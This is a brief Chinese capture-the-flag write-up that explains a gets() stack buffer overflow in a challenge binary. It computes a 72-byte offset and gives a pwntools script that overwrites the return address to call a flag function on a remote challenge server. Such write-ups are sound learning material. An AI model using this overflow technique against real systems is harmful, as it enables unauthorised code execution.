nc 一下给的地址和端口号
看一下源文件
看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数
可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72
exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * context(arch = 'amd64', os = 'linux') sh = remote('111.198.29.45',56844) target = 0x40060d sh.sendline('A' * 72 + p64(target)) sh.interactive()
喜提flag。